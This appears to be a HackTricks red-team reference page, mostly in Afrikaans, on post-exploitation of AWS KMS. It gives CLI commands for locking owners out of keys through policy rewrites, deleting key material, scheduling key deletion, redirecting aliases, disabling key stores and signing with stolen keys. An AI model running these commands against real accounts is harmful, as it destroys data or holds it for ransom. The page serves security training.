AWS - KMS Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

KMS

For more information check:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Lees die lêer in binêre modus, algemeen gebruik vir nie-tekslêers.
  • file://: Lees die lêer in teksmodus, tipies gebruik vir platte tekslêers, skripte, of JSON wat nie spesiale koderingvereistes het nie.

Tip

Let wel: as jy data in ’n lêer wil decrypt, moet die lêer die binêre data bevat, nie base64-gekodeerde data nie. (fileb://)

  • Gebruik van ’n symmetric sleutel
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Gebruik ’n asymmetriese sleutel:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

’n Aanvaller met bevoorregte toegang tot KMS kan die KMS-beleid van sleutels wysig en sy rekening toegang tot hulle gee, en die toegang wat aan die regmatige rekening verleen is verwyder.

Dan sal die gebruikers van die regmatige rekening nie toegang hê tot enige inligting van enige diens wat met daardie sleutels geïnkripteer is nie, wat ’n eenvoudige maar effektiewe ransomware oor die rekening skep.

Warning

Let wel dat AWS managed keys nie deur hierdie aanval geraak word nie, slegs Customer managed keys.

Let ook op die behoefte om die parameter --bypass-policy-lockout-safety-check te gebruik (die afwesigheid van hierdie opsie in die web-konsol maak hierdie aanval slegs moontlik vanaf die CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Neem kennis dat as jy daardie beleid verander en slegs toegang aan ’n eksterne rekening gee, en dan vanaf daardie eksterne rekening probeer om ’n nuwe beleid te stel om gee die toegang terug aan die oorspronklike rekening, sal jy nie in staat wees nie omdat die Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware

Daar is nog ’n manier om ’n globale KMS Ransomware uit te voer, wat die volgende stappe sal behels:

  • Skep ’n nuwe sleutel met sleutelmateriaal wat deur die aanvaller ingevoer is
  • Her-enkripteer ouer data van die slagoffer wat met die vorige weergawe versleutel is, met die nuwe een.
  • Verwyder die KMS key
  • Nou kan slegs die aanvaller, wat die oorspronklike sleutelmateriaal het, die enkripteerde data kan dekripteer

Delete Keys via kms:DeleteImportedKeyMaterial

Met die kms:DeleteImportedKeyMaterial toestemming kan ’n akteur die ingevoerde sleutelmateriaal uit CMKs met Origin=EXTERNAL verwyder (CMKs wat hul sleutelmateriaal ingevoer het), waardeur die CMKs nie in staat sal wees om data te dekripteer nie. Hierdie aksie is vernietigend en onomkeerbaar tensy geskikte materiaal weer ingevoer word, wat ’n aanvaller effektief in staat stel om ransomware-agtige dataverlies te veroorsaak deur enkripteerde inligting permanent ontoeganklik te maak.

aws kms delete-imported-key-material --key-id <Key_ID>

Vernietig sleutels

Deur sleutels te vernietig is dit moontlik om ’n DoS uit te voer.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Neem kennis dat AWS nou voorkom dat die vorige aksies vanaf ’n kruis-rekening uitgevoer word:

Verander of verwyder Alias

Hierdie aanval verwyder of herlei AWS KMS aliases, breek sleuteloplossing en veroorsaak onmiddelike mislukkings in enige dienste wat op daardie aliases staatmaak, wat lei tot ’n denial-of-service. Met toestemmings soos kms:DeleteAlias of kms:UpdateAlias kan ’n aanvaller aliases verwyder of herlei en kriptografiese operasies ontwrig (e.g., encrypt, describe). Enige diens wat na die alias verwys in plaas van na die sleutel-ID kan misluk totdat die alias herstel of korrek herkaarteer is.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancel Key Deletion

Met toestemmings soos kms:CancelKeyDeletion en kms:EnableKey kan ’n akteur ’n geskeduleerde verwydering van ’n AWS KMS customer master key kanselleer en dit later weer heraktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel die vermoë daarvan om voorheen beskermde data te ontsleutel, wat exfiltration moontlik maak.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Deaktiveer Sleutel

Met die kms:DisableKey toestemming kan ’n akteur ’n AWS KMS customer master key deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit verbreek toegang vir enige dienste wat op daardie CMK staatmaak en kan onmiddelike ontwrigtinge of ’n denial-of-service veroorsaak totdat die sleutel weer geaktiveer word.

aws kms disable-key \
--key-id <key_id>

Aflei gedeelde geheim

Met die kms:DeriveSharedSecret toestemming kan ’n actor ’n deur KMS gehoude private key plus ’n user-supplied public key gebruik om ’n ECDH shared secret te bereken.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Met die kms:Sign-toestemming kan ’n akteur ’n KMS-gestoorde CMK gebruik om data kriptografies te teken sonder om die private key bloot te stel, wat geldige handtekeninge produseer wat impersonation kan moontlik maak of kwaadwillige aksies kan magtig.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Met toestemmings soos kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, of kms:UpdateCustomKeyStore, kan ’n akteur ’n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, waardoor sy meestersleutels onbruikbaar raak. Dit breek enkripsie-, dekripsie- en ondertekeningsoperasies vir enige dienste wat op daardie sleutels staatmaak en kan ’n onmiddellike denial-of-service veroorsaak. Dit is daarom kritiek om daardie toestemmings te beperk en te monitor.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks